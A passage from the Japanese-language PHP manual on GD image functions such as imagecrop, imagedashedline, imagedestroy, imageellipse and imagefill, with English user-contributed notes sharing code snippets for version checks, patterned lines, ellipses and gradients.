$im = ImageCreateFromJPEG($source);
$new_im = ImageCreateTrueColor($new_width,$new_height);

ImageCopyResized($new_im,$im,0,0,0,0,$new_width,
$new_height,ImageSX($im),ImageSY($im));
Micke (micke dot prag at newstonight dot net) 08-Mar-2003 04:21
Here is my solution for creating images with the same code for both GD < 2 and GD > 2:

$dst_img = @imageCreateTrueColor($width, $height);
if (!$dst_img) { $dst_img = imageCreate($width, $height); }
Andreas from www.ems-p.de 28-Feb-2003 06:15
The request of gdlib from brad at brwebdesign dot com won't work with PHP < 4.1 (version_compare).

Some phpinfo versions offer the version number without space so you better ask for the dot:

ob_start();
phpinfo(8);
$phpinfo=ob_get_contents();
ob_end_clean();
$phpinfo=strip_tags($phpinfo);
$phpinfo=stristr($phpinfo,"gd version");
$phpinfo=stristr($phpinfo,"version");
$end=strpos($phpinfo,".");
$phpinfo=substr($phpinfo,0,$end);
$length = strlen($phpinfo)-1;
$phpinfo=substr($phpinfo,$length);
if($phpinfo<2){
    $dst_img=ImageCreate($new_w,$new_h);}
else {
    $dst_img=ImageCreateTrueColor($new_w,$new_h);
}
marc at thewebguys dot com dot au 24-Jan-2003 04:40
I discovered when installing GD 2+ that ImageCreate() doesn't work well with JPEGS, it makes a true colour JPEG into a 16 colour mess when combining ImageCreateFromJPEG(). If you have GD 2+ you must use ImageCreateTrueColor() for things like thumbnails, etc.
billet_jerome at yahoo dot fr 14-Jan-2003 05:26
Because imagecreatetruecolor exist both in gd and gd2,
you can't use function_exists or get_extension_funcs to check for gd2 !
But ... there is a difference in imagettfbbox between gd and gd2:
gd use pixels and gd2 use points.

Then you can check gd2 with this function:

function sysB_chkgd2()
{

$rep=false;
if(isset($GLOBALS["gBGDVersion"]))
    {
    $rep=$GLOBALS["gBGDVersion"];
    }
else
    {
    if(function_exists("gd_info"))
       {
       $gdver=gd_info();
       if(strstr($gdver["GD Version"],"1.")!=false)
          {
          $rep=false;
          }
       else
           {
           $rep=true;
           }
       }
    else
        {
        $size=40;
        $font= your font file path here;
        $b=imagettfbbox ($size,0,$font,"abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ");

        if(($size+1)<abs($b[5]-$b[3]))
           {
           $rep=true;
           }

         }
    $GLOBALS["gBGDVersion"]=$rep;
    }

return $rep;
}
aaron at aaron-wright dot com 25-Sep-2002 02:49
Actually GD <2.0 had imagecreattruecolor, it just didn't work :P

This is a better test:

function chkgd2(){
  $testGD = get_extension_funcs("gd"); // Grab function list
  if (!$testGD){ echo "GD not even installed."; exit; }
  if (in_array ("imagegd2",$testGD)) $gd_version = "<2"; // Check
  if ($gd_version == "<2") return false; else return true;
}

if (chkgd2()) echo "<h1>GD2+ is installed.</h1>"; // Test for GD2
else echo "<h1>GD2+ is not installed.</h1>";
php at REMOVEreallynicejerk dot com 15-Sep-2002 04:01
Why not just use function_exists?

http://www.php.net/function_exists

Just because they have version 2.0 GD doesn't mean that they haven't disabled that function.

Also instead of determining which one you have on your machine and then writing setup specific code, you can write a universal code usable on either setups.

::pseudo code::

if (function_exists(imagecreatetruecolor)){
use imagecreatetruecolor()
}else{
use imagecreate()
}
brad at brwebdesign dot com 25-May-2002 02:26
I came up with this today.  You need GD2.0 or greater to use imagecreatetruecolor so you can parse phpinfo to get the needed information.  this will have to go at the very top of the page with no whitespace above it

<?php
ob_start();
phpinfo(8);
$phpinfo=ob_get_contents();
ob_end_clean();
$phpinfo=strip_tags($phpinfo);
$phpinfo=stristr($phpinfo,"gd version");
$phpinfo=stristr($phpinfo,"version");
$end=strpos($phpinfo," ");
$phpinfo=substr($phpinfo,0,$end);
$phpinfo=substr($phpinfo,7);
if(version_compare("2.0", "$phpinfo")==1)
echo "you have a version less then 2";
?>

The if statement is for PHP 4.1 or greater, but you can use other methods of comparing the version numbers if the server you are on do not have that version of php
pmas7354 at artax dot karlin dot mff dot cuni dot cz 26-Feb-2002 05:40
Here is answer for first question 'why do I need true color images'.

True color images you need when you want to work with images such as photos (snapshots), video frames and so on.

When you need to combine some these images for user, or to send him only small part of your image, and you try to use 256 colors, image will be ugly (try it if you want). Some colors will change dramatically.

"Antialias" lines which you may see are probably the result of using JPEG compression. JPEG is not looseless compression so "small image details may be changed" in order to reduce image size dramatically. On really true-color images such as your snapshots of landscape and so on and using small compression level you will hardly see differences. But on exact objects, such as lines, circles, which you draw on solid background using single color, you can see that if you save and load this image that some details are changed.
rossa at studioware dot net 23-Jan-2002 07:38
function ConvertGreyscale($image){
# this file outputs a grey version of specified image

  $total = ImageColorsTotal($image);
  for( $i=0; $i<$total; $i++){
     $old = ImageColorsForIndex($image, $i);

     #trying to keep proper saturation when converting
     $commongrey = (int)(($old[red] + $old[green] + $old[blue]) / 3);

     ImageColorSet($image, $i, $commongrey, $commongrey, $commongrey);
  }
}
eric at spiderws dot com 12-Aug-2001 10:45
This little function does it for you:

<?
$image_id = imageCreateFromJPEG($image);
for($a=0;$a<imagecolorstotal ($image_id);$a++)
        {
            $color = ImageColorsForIndex($image_id,$i);
            $R=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            $G=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            $B=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            ImageColorSet($image_id, $a, $R, $G, $B);
        }
imageJPEG($image_id,"$image");
?>

The .299 , .578 , .114 values are estimations, and add a gamma correction to the colors. For more or less luminace in the result, you can change these values.

Goodluck,
Eric Mulders, Netherlands


指定した矩形に画像をクロップする

  • ≪ imagecreatetruecolor
  • imagecropauto ≫
  • PHP Manual
  • GD および Image 関数
  • 指定した矩形に画像をクロップする

imagecrop

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagecrop — 指定した矩形に画像をクロップする

説明

imagecrop ( resource $image , array $rect ) : resource|false

画像を指定した矩形範囲にクロップして、クロップ後の画像を返します。 パラメータ image で渡した画像には何も手を加えません。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

rect

クロップする矩形を配列で指定します。配列のキーには x, y, width, height を指定します。

返り値

成功した場合にクロップ後の画像リソースを返します。失敗した場合に false を返します。

例

例1 imagecrop() の例

この例は、画像を正方形にクロップする方法を示すものです。

<?php
$im = imagecreatefrompng('example.png');
$size = min(imagesx($im), imagesy($im));
$im2 = imagecrop($im, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($im2 !== FALSE) {
    imagepng($im2, 'example-cropped.png');
    imagedestroy($im2);
}
imagedestroy($im);
?>

参考

  • imagecropauto() - 利用可能なモードを指定して、画像を自動的にクロップする

User Contributed Notes

There are no user contributed notes for this page.


利用可能なモードを指定して、画像を自動的にクロップする

  • ≪ imagecrop
  • imagedashedline ≫
  • PHP Manual
  • GD および Image 関数
  • 利用可能なモードを指定して、画像を自動的にクロップする

imagecropauto

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagecropauto — 利用可能なモードを指定して、画像を自動的にクロップする

説明

imagecropauto ( resource $image , int $mode = IMG_CROP_DEFAULT , float $threshold = .5 , int $color = -1 ) : resource|false

指定した mode にしたがって、画像を自動的にクロップします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

mode

以下の定数のいずれか。

IMG_CROP_DEFAULT
IMG_CROP_TRANSPARENT と同じです。 PHP 7.4.0 より前のバージョンでは、 PHP にバンドルされた libgd は、 画像に透過色がない場合に IMG_CROP_SIDES にフォールバックしていました。
IMG_CROP_TRANSPARENT
透過色の背景をクロップします。
IMG_CROP_BLACK
黒の背景をクロップします。
IMG_CROP_WHITE
白の背景をクロップします。
IMG_CROP_SIDES
画像の四隅から、クロップする背景色を検出します。
IMG_CROP_THRESHOLD
threshold と color を用いてクロップします。
threshold

画像の色とクロップする色を比較する際に用いる許容誤差を、パーセントで指定します。 色の違いを判断する際には、RGBキューブ内での距離を用います。

IMG_CROP_THRESHOLD モードのときにだけ利用します。

注意: PHP 7.4.0 より前のバージョンでは、 PHP にバンドルされていた libgd はやや異なるアルゴリズムを用いていました。 なので、同じ threshold を渡しても システムの libgd と PHP にバンドルされた libgd とは異なる結果が生成されていました。

color

RGB値あるいはパレットインデックスを指定します。

IMG_CROP_THRESHOLD モードのときにだけ利用します。

返り値

成功した場合にクロップ後の画像リソースを返します。失敗した場合に false を返します。 すべてクロップされてしまった場合は、 imagecrop() は false を返します。

変更履歴

バージョン | 説明
7.4.0 | PHP にバンドルされた imagecropauto() の振る舞いは、 システムにインストールされる libgd のそれと同じになりました。 つまり、IMG_CROP_DEFAULT が IMG_CROP_SIDES にフォールバックすることはななくなり、 しきい値によるクロップは、 システムにインストールされる libgd のアルゴリズムと同じものを使うようになりました。
7.4.0 | mode パラメータのデフォルト値が IMG_CROP_AUTO に変更されました。 これより前のバージョンでは、デフォルト値は -1 で、IMG_CROP_DEFAULT に対応しています。 しかし、-1 を渡すのは非推奨になりました。

例

例1 自動クロップの適切な処理

返り値のところで説明したとおり、全部クロップしてしまったときに imagecropauto() が返す値は false となります。 この例では、クロップする部分がある場合にだけ画像リソース $im を自動クロップします。 それ以外の場合は、元の画像をそのまま使います。

<?php
$cropped = imagecropauto($im, IMG_CROP_DEFAULT);
if ($cropped !== false) { // 新しい画像リソースが戻された場合にだけ
    imagedestroy($im);    // 元の画像を破棄して
    $im = $cropped;       // クロップ後の画像を $im に代入します
}
?>

参考

  • imagecrop() - 指定した矩形に画像をクロップする

User Contributed Notes

Ray.Paseur sometimes uses Gmail 24-Jan-2017 04:07
Please see the note on ImageCrop() that describes an extraneous black line at the bottom of the cropped image.
http://php.net/manual/en/function.imagecrop.php#119537

Bug 67447 applies to ImageCropAuto(), too.
https://bugs.php.net/bug.php?id=67447
raphael.deiana 18-Jul-2016 11:49
In some cases the use of the IMG_CROP_WHITE or IMG_CROP_BLACK does not work. The function returns FALSE. It is best to use the IMG_CROP_THRESHOLD mode and specify the color in fourth argument as in the example below :

<?php

$original_img = imagecreatefromjpeg($image_path);

// Use this :
$cropped_img_white = imagecropauto($original_img , IMG_CROP_THRESHOLD, null, 16777215);
// Rather than :
$cropped_img_white = imagecropauto($original_img , IMG_CROP_WHITE);

// AND

// Use this :
$cropped_img_black = imagecropauto($original_img , IMG_CROP_THRESHOLD, null, 0);
// Rather than :
$cropped_img_black = imagecropauto($original_img , IMG_CROP_BLACK);

?>


破線を描画する

  • ≪ imagecropauto
  • imagedestroy ≫
  • PHP Manual
  • GD および Image 関数
  • 破線を描画する

imagedashedline

(PHP 4, PHP 5, PHP 7, PHP 8)

imagedashedline — 破線を描画する

説明

imagedashedline ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color ) : bool

これは古い関数です。代わりに imagesetstyle() と imageline() の組み合せを使用してください。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

x1

左上の x 座標。

y1

左上の y 座標 0。0 は画像の左上の角です。

x2

右下の x 座標。

y2

右下の y 座標。

color

塗りつぶし色。imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagedashedline() の例

<?php
// 100x100 の画像を作成します
$im = imagecreatetruecolor(100, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);

// 縦の破線を描画します
imagedashedline($im, 50, 25, 50, 75, $white);

// 画像を保存します
imagepng($im, './dashedline.png');
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagedashedline()

例2 imagedashedline() のもうひとつの使用法

<?php
// 100x100 の画像を作成します
$im = imagecreatetruecolor(100, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);

// 独自のスタイルの作成: 最初の 4 ピクセルを白色、
// 次の 4 ピクセルを透明とし、破線風の効果を作成します
$style = Array(
                $white,
                $white,
                $white,
                $white,
                IMG_COLOR_TRANSPARENT,
                IMG_COLOR_TRANSPARENT,
                IMG_COLOR_TRANSPARENT,
                IMG_COLOR_TRANSPARENT
                );

imagesetstyle($im, $style);

// 破線を描画します
imageline($im, 50, 25, 50, 75, IMG_COLOR_STYLED);

// 画像を保存します
imagepng($im, './imageline.png');
imagedestroy($im);
?>

参考

  • imagesetstyle() - 線描画用のスタイルを設定する
  • imageline() - 直線を描画する

User Contributed Notes

ihsanduvac at gmail dot com 17-Aug-2012 06:45
It doesn't work for horizontal lines. Use imagesetstyle()
tgabor72 at freemail dot hu 17-Aug-2010 11:50
You can use the imagepatternedline() function with extra features instead of imagedashedline() to give a visible dashedlines and other any kind of patterned lines on your images. The routine also manages the thickness of the line. Have fun!

<?php
// imagepatternedline() function
// Routine was developed to draw any kind of straight line with thickness. Routine uses imageline() function to draw line.
// Parameters are (similar to imageline() function):
//   $image: (resource) imagefile
//   $xstart, $ystart: (int) x,y coordinates for first point
//   $xend, $yend: (int) x,y coordinates for last point
//   $color: (int) color identifier that created with imagecolorallocate()
// extra parameters:
//   $thickness: (int) thickness of line in pixel
//   $pattern: (string) pattern of line, which repeats continuously while line is being drawed.
//   If there is '1' in the pattern that means the actual dot of line is visible,
//   '0' means dot is not visible (space between two line elements).
//   All characters regard for one pixel. Default: 1 dot wide dashed line with 4-4 dots and spaces.
// Examples for pattern:
// "1" or "" continuous line
// "10" close dotline
// "10000" dotline
// "111111110000001100000011111111" dotline for design drawing
// "111111111100000011000000110000001111111111" double dotline
// some examples for using imagepatternedline():
// imagepatternedline($image,300,300,442,442,$color,200,""); // a square with 200 length of edge and rotated 45 degrees
// imagepatternedline($image,100,200,289,200,$color,100,
//  "11001100000011001111000011001111110000001100001100"
// ."00001111001100111100000011000000110000110011001100"
// ."11000011111100111111000011001111001111000011110000"
// ."1111001111110011000011000000001100110011"); // barcode

function imagepatternedline($image, $xstart, $ystart, $xend, $yend, $color, $thickness=1, $pattern="11000011") {
   $pattern=(!strlen($pattern)) ? "1" : $pattern;
   $x=$xend-$xstart;
   $y=$yend-$ystart;
   $length=floor(sqrt(pow(($x),2)+pow(($y),2)));
   $fullpattern=$pattern;
   while (strlen($fullpattern)<$length) $fullpattern.=$pattern;
   if (!$length) {
      if ($fullpattern[0]) imagefilledellipse($image, $xstart, $ystart, $thickness, $thickness, $color);
      return;
   }
   $x1=$xstart;
   $y1=$ystart;
   $x2=$x1;
   $y2=$y1;
   $mx=$x/$length;
   $my=$y/$length;
   $line="";
   for($i=0;$i<$length;$i++){
      if (strlen($line)==0 or $fullpattern[$i]==$line[0]) {
         $line.=$fullpattern[$i];
      }else{
         $x2+=strlen($line)*$mx;
         $y2+=strlen($line)*$my;
         if ($line[0]) imageline($image, round($x1), round($y1), round($x2-$mx), round($y2-$my), $color);
         $k=1;
         for($j=0;$j<$thickness-1;$j++) {
            $k1=-(($k-0.5)*$my)*(floor($j*0.5)+1)*2;
            $k2= (($k-0.5)*$mx)*(floor($j*0.5)+1)*2;
            $k=1-$k;
            if ($line[0]) {
               imageline($image, round($x1)+$k1, round($y1)+$k2, round($x2-$mx)+$k1, round($y2-$my)+$k2, $color);
               if ($y) imageline($image, round($x1)+$k1+1, round($y1)+$k2, round($x2-$mx)+$k1+1, round($y2-$my)+$k2, $color);
               if ($x) imageline($image, round($x1)+$k1, round($y1)+$k2+1, round($x2-$mx)+$k1, round($y2-$my)+$k2+1, $color);
            }
         }
         $x1=$x2;
         $y1=$y2;
         $line=$fullpattern[$i];
      }
   }
   $x2+=strlen($line)*$mx;
   $y2+=strlen($line)*$my;
   if ($line[0]) imageline($image, round($x1), round($y1), round($xend), round($yend), $color);
   $k=1;
   for($j=0;$j<$thickness-1;$j++) {
      $k1=-(($k-0.5)*$my)*(floor($j*0.5)+1)*2;
      $k2= (($k-0.5)*$mx)*(floor($j*0.5)+1)*2;
      $k=1-$k;
      if ($line[0]) {
         imageline($image, round($x1)+$k1, round($y1)+$k2, round($xend)+$k1, round($yend)+$k2, $color);
         if ($y) imageline($image, round($x1)+$k1+1, round($y1)+$k2, round($xend)+$k1+1, round($yend)+$k2, $color);
         if ($x) imageline($image, round($x1)+$k1, round($y1)+$k2+1, round($xend)+$k1, round($yend)+$k2+1, $color);
      }
   }
}
?>
ProfessorNeo at gmx dot de 16-Feb-2006 12:07
The bug reported by 'michi at marel dot at' also exists in PHP version 5.1.1. This functions just works with vertical lines!
alien-scripts.de 13-Jul-2005 02:17
I make my own dashedline:

<?
for($l=50;$l<=550;$l+=5)
   {
    if($da == 0) { $da = 1; }
    elseif($da == 1){
    imageline($bild,$l,50,$l+5,50,$green);
    $da = 0; }
   }
?>

$l is the x-value
and we have a dashed line :)
michi at marel dot at 19-Nov-2003 06:49
There's a bug till PHP 4.0.4 in this function. You can only draw vertical dashed lines. To draw other dashed lines you can set <ImageSetStyle> to a special dashed line and draw it by <ImageLine>.

Sample code:
<?php
function MDashedLine($image, $x0, $y0, $x1, $y1, $fg, $bg)
{
        $st = array($fg, $fg, $fg, $fg, $bg, $bg, $bg, $bg);
        ImageSetStyle($image, $st);
        ImageLine($image, $x0, $y0, $x1, $y1, IMG_COLOR_STYLED);
}
?>


画像を破棄する

  • ≪ imagedashedline
  • imageellipse ≫
  • PHP Manual
  • GD および Image 関数
  • 画像を破棄する

imagedestroy

(PHP 4, PHP 5, PHP 7, PHP 8)

imagedestroy — 画像を破棄する

説明

imagedestroy ( resource $image ) : bool

imagedestroy() は画像 image を保持するメモリを解放します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagedestroy() の使用例

<?php
// 100 x 100 の画像を作成します
$im = imagecreatetruecolor(100, 100);

// 画像を変更したり保存したりします

// 画像をメモリから開放します
imagedestroy($im);
?>

User Contributed Notes

devel at kijote dot com dot ar 03-Jan-2020 01:16
Important note: When the imagedestroy is called, the resource is freed but the printed resource output is the same as before calling the function:

<?php

  $img = imagecreate(1, 1);

  print_r([$img, $img ? 'TRUE': 'FALSE', is_resource($img) ? 'TRUE' : 'FALSE', get_resource_type($img) ?: 'FALSE']);

  /*
  Result:
  Array
  (
    [0] => Resource id #1
    [1] => TRUE
    [2] => TRUE
    [3] => gd

  )
  */

  imagedestroy($img);

  print_r([$img, $img ? 'TRUE': 'FALSE', is_resource($img) ? 'TRUE' : 'FALSE', get_resource_type($img) ?: 'FALSE']);

  /*
  Result:
  Array
  (
    [0] => Resource id #1
    [1] => TRUE
    [2] => FALSE
    [3] => Unknown
  )
  */
?>

As you can see in the above example, the first index in array is TRUE in both cases. So, despite the common thinking you can't trust in something like:

<?php

  if ($img)  {  // it's casted as boolean and returns true even after imagedestroy is called
     // do something
  }

?>

If you need to ensure the availability of a certain resource, you must to use is_resource and get_resource_type functions.
Claude D. 19-Nov-2015 02:35
Caution should be observed with imagedestroy(); copying your reference variable over to another variable will cause imagedestroy to destroy both at once.

Eg.:

$a = imagecreate(...);
$b = $a;
imagedestroy($a);

While you'd think $b still contains your image, it doesn't. Both $a and $b are destroyed.
corpus-deus at softhome dot net 12-Feb-2010 06:33
In theory creating an image object and calling imagedestroy in your destructor should be a good way of doing it; something like:

<?php
final class My_Image() {

  private $img;

  public function __construct() {
    $this->img = imagecreatetruecolor();
    // ... other stuff ...
  }

  public function __destruct() {
    if(is_resource($this->img)) {
      imagedestroy($this->img);
    }
  }

  // ... other methods...

}
?>

I check that $this->img is a resource in case imagecreatetruecolor() fails or you null the value somewhere down the line from a method call meaning that $this->img is NOT a resource, in which case imagedestroy is an unecessary function call that just fails with a warning message.
webmaster at codefisher dot org 05-Oct-2007 10:26
And to continue what Docey said, if php did not destroy all resources when the script stopped it would be a huge memory leak and everyone would be crying out for it to be fixed right away.

I have been using this function during a script that was breaking an image made of many little icons into the little parts, which could mean 400+ images in the one script, which was using a lot of memory so I needed to destroy them.
Docey 20-Oct-2006 10:59
When the script stop PHP will automatic destory ANY
resources, this goes for aswell for images, thus in the
case the use clicks the stop button, php will automatic
clear the resource.

thus imagedestroy is used to clear the memory BEFORE
the script ends. this is usefull to keep memory usage
DURING the script to an acceptable level.

hope this clear somethings up.
Andrew Hoffmann - ahoffmann at wisc dot edu 23-Jun-2005 07:25
When working with a lot of high-resolution images, it's IMPERATIVE that you use the imagedestroy() function.

In my scenario, I was taking two high resolution desktop wallpapers and shrinking them down into successively smaller ones (preventing the user from having to upload a dozen files).

At first, my script would run, then just stop.  I realized later that I had not destroyed the source image and the newly resized image in memory after I had finished writing the file out to disk.  Thus, I quickly reached the memory limit that my hosting provider placed in their php.ini file.

Reusing an image variable does NOT clear the old data out of memory!  You must use imagedestroy() to clear the data out.  (I don't know if unset() works as well).

Also note that the image data in memory is raw, so don't base how much memory you are using based on the original filesize of the compressed image (such as jpeg or png).
dan at mlodecki dot net 04-Mar-2004 04:42
I have noticed that gd drawing functions can behave oddly if there is a previous image which has not been imagedestroy()'ed.  You should always imagedestroy when you are done with an image object.


楕円を描画する

  • ≪ imagedestroy
  • imagefill ≫
  • PHP Manual
  • GD および Image 関数
  • 楕円を描画する

imageellipse

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imageellipse — 楕円を描画する

説明

imageellipse ( resource $image , int $cx , int $cy , int $width , int $height , int $color ) : bool

指定した座標を中心とする楕円を描画します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

cx

中心の x 座標。

cy

中心の y 座標。

width

楕円の幅。

height

楕円の高さ。

color

楕円の色。imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imageellipse() の例

<?php

// 空の画像を生成します
$image = imagecreatetruecolor(400, 300);

// 背景色を選択します
$bg = imagecolorallocate($image, 0, 0, 0);

// 上で選択した色で背景を塗ります
imagefill($image, 0, 0, $bg);

// 楕円の色を選択します
$col_ellipse = imagecolorallocate($image, 255, 255, 255);

// 楕円を描画します
imageellipse($image, 200, 150, 300, 200, $col_ellipse);

// 画像を出力します
header("Content-type: image/png");
imagepng($image);

?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imageellipse()

注意

注意:

imageellipse() は imagesetthickness() を無視します。

参考

  • imagefilledellipse() - 塗りつぶされた楕円を描画する
  • imagearc() - 部分楕円を描画する

User Contributed Notes

simon_nuttall at hotmail dot com 07-Jun-2006 01:36
This is an optimised and bug fixed version of nojer at yahoo dot com's rotatedellipse function. I've changed it so that the arguments are compatible with imageellipse. See notes on imagearc for original version.

<?php

function rotatedellipse($im, $cx, $cy, $width, $height, $rotateangle, $colour, $filled=false) {
  // modified here from nojer's version
  // Rotates from the three o-clock position clockwise with increasing angle.
  // Arguments are compatible with imageellipse.

  $width=$width/2;
  $height=$height/2;

  // This affects how coarse the ellipse is drawn.
  $step=3;

  $cosangle=cos(deg2rad($rotateangle));
  $sinangle=sin(deg2rad($rotateangle));

  // $px and $py are initialised to values corresponding to $angle=0.
  $px=$width * $cosangle;
  $py=$width * $sinangle;

  for ($angle=$step; $angle<=(180+$step); $angle+=$step) {

    $ox = $width * cos(deg2rad($angle));
    $oy = $height * sin(deg2rad($angle));

    $x = ($ox * $cosangle) - ($oy * $sinangle);
    $y = ($ox * $sinangle) + ($oy * $cosangle);

    if ($filled) {
      triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
      triangle($im, $cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
    } else {
      imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
      imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
    }
    $px=$x;
    $py=$y;
  }
}

function triangle($im, $x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}

?>
julian 16-Jan-2005 06:23
if you want to display an ellipse in the upper left corner of an image, you can easily calculate the corresponding cx and cy values. this example will draw an ellipse having the same width and height as the image.

<?php

$ellipse_width = 100;
$ellipse_height = 200;

$ellipse_cx = ($ellipse_width / 2);
$ellipse_cy = ($ellipse_height / 2);

$img_x = $ellipse_width;
$img_y = $ellipse_height;

$img = imagecreate($img_x, $img_y);
$bg = imagecolorallocate($img, 255,255,255);

$ellipse_color = imagecolorallocate($img, 0, 0, 0);

imageellipse($img, $ellipse_cx, $ellipse_cy, $ellipse_width, $ellipse_height, $ellipse_color);

header("Content-type: image/png");
imagepng($img);
imagedestroy($img);

?>
agentyoungsoo at hanmail dot net 04-Dec-2002 08:56
When you wana use "ImageEllipse" function
in under GD 2.0.2 version, you can use "ImageArc" like bellow

----------------------------------------------------
$file_name = "test.png";

$screen_x = 300;
$screen_y = 200;

$x1 = $screen_x / 2;
$y1 = $screen_y / 2;

$radius = 30;

$image = ImageCreate($screen_x, $screen_y);
$black = ImageColorAllocate($image, 0,0,0);

ImageArc($image, $x1, $y1, $radius , $radius , 0, 360, $black);

ImagePng($image, $file_name);
ImageDestroy($image);
----------------------------------------------------


塗り潰す

  • ≪ imageellipse
  • imagefilledarc ≫
  • PHP Manual
  • GD および Image 関数
  • 塗り潰す

imagefill

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefill — 塗り潰す

説明

imagefill ( resource $image , int $x , int $y , int $color ) : bool

指定した座標 (左上が 0, 0 です) から、指定した色 color で image を塗りつぶします。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

x

開始位置の x 座標。

y

開始位置の y 座標。

color

塗りつぶし色。imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagefill() の例

<?php

$im = imagecreatetruecolor(100, 100);

// 背景色を赤に設定します
$red = imagecolorallocate($im, 255, 0, 0);
imagefill($im, 0, 0, $red);

header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagefill()

参考

  • imagecolorallocate() - 画像で使用する色を作成する

User Contributed Notes

oleh at it dot wihola dot com 24-Aug-2017 08:45
is there any point to use $x and $y coordinates? They doesn't affect an output in any way. I can no make rectangular half filled with color. These params are useless.
George Edison 27-Sep-2012 11:19
Creating a new true-color image, filling it with a transparent color, and saving it as a PNG image can be accomplished with the following:

<?php

$new   = imagecreatetruecolor(320, 320);
$color = imagecolorallocatealpha($new, 0, 0, 0, 127);
imagefill($new, 0, 0, $color);
imagesavealpha($new, TRUE); // it took me a good 10 minutes to figure this part out
imagepng($new);

?>

The image needs to be created with imagecreatetruecolor(), you must use imagefill() instead of imagefilledrectange(), and you need to call imagesavealpha(). No other combination of functions calls seems to produce the intended results.
Christopher Kramer 06-Oct-2009 03:00
Here is a function to generate a gradient.
You specify width, heigth and 4 colors (of the 4 corners).

An image handle of the gradient image will be returned.
You can copy the returned image onto another image using imageecopy.
This can be helpful if you want to generate a shadow for example.
("Glow effect example": Generate 8 gradients, one for each side and one for each corner. The outer side of the gradients have the background color and the inner sides have a bright color such as white.)

But beware: This function is not optimized for performance, it might become slow on big images. For shadows, better cache the generated gradients.

Note: For gradients, using true-color is highly recommended.

<?php

function gradient($w=100, $h=100, $c=array('#FFFFFF','#FF0000','#00FF00','#0000FF'), $hex=true) {

 /*
 Generates a gradient image

 Author: Christopher Kramer

 Parameters:
 w: width in px
 h: height in px
 c: color-array with 4 elements:
    $c[0]:   top left color
    $c[1]:   top right color
    $c[2]:   bottom left color
    $c[3]:   bottom right color

 if $hex is true (default), colors are hex-strings like '#FFFFFF' (NOT '#FFF')
 if $hex is false, a color is an array of 3 elements which are the rgb-values, e.g.:
 $c[0]=array(0,255,255);

 */

 $im=imagecreatetruecolor($w,$h);

 if($hex) {  // convert hex-values to rgb
  for($i=0;$i<=3;$i++) {
   $c[$i]=hex2rgb($c[$i]);
  }
 }

 $rgb=$c[0]; // start with top left color
 for($x=0;$x<=$w;$x++) { // loop columns
  for($y=0;$y<=$h;$y++) { // loop rows
   // set pixel color
   $col=imagecolorallocate($im,$rgb[0],$rgb[1],$rgb[2]);
   imagesetpixel($im,$x-1,$y-1,$col);
   // calculate new color
   for($i=0;$i<=2;$i++) {
    $rgb[$i]=
      $c[0][$i]*(($w-$x)*($h-$y)/($w*$h)) +
      $c[1][$i]*($x     *($h-$y)/($w*$h)) +
      $c[2][$i]*(($w-$x)*$y     /($w*$h)) +
      $c[3][$i]*($x     *$y     /($w*$h));
   }
  }
 }
 return $im;
}

function hex2rgb($hex)
 {
 $rgb[0]=hexdec(substr($hex,1,2));
 $rgb[1]=hexdec(substr($hex,3,2));
 $rgb[2]=hexdec(substr($hex,5,2));
 return($rgb);
 }

// usage example

$image=gradient(300, 300, array('#000000', '#FFFFFF', '#FF0000', '#0000FF'));

header('Content-type: image/png');
imagepng($image);
imagedestroy($image);

?>
dunhamzzz [A] gmail 01-Sep-2008 08:36
I feel its worth pointing out that you cannot fill a transparent colour that you have assigned with imagecolorallocatealpha, the colour will fill, but without its transparency,

I find the easiest method around this is to just fill a rectangle using imagefilledrectangle() to draw a fill instead.
Cypog 17-Mar-2008 07:27
imagefill can't deal with alpha colors, use imagefilledrectangle instead.

<?php

    header("Content-Type: image/png");
    $im = imagecreatefrompng("img/button.png");
    if (empty($_GET['alpha']))
        {$_GET['alpha'] = 10;}
    $color = imagecolorallocatealpha($im, 255, 255, 255, $_GET['alpha']);
    imagefillalpha($im, $color);
    imagepng($im);
    imagedestroy($im);

    function ImageFillAlpha($image, $color)
    {
        imagefilledrectangle($image, 0, 0, imagesx($image), imagesy($image), $color);
    }

?>
info at educar dot pro dot br 09-Mar-2007 07:54
Example 1
The filled region will be external to a demarcated region, if the initial coordinates will be outside of this region.

<?php
$src621 = imagecreate(200,200);
$clr_1_621 = imagecolorallocate($src621, 255, 255, 0);
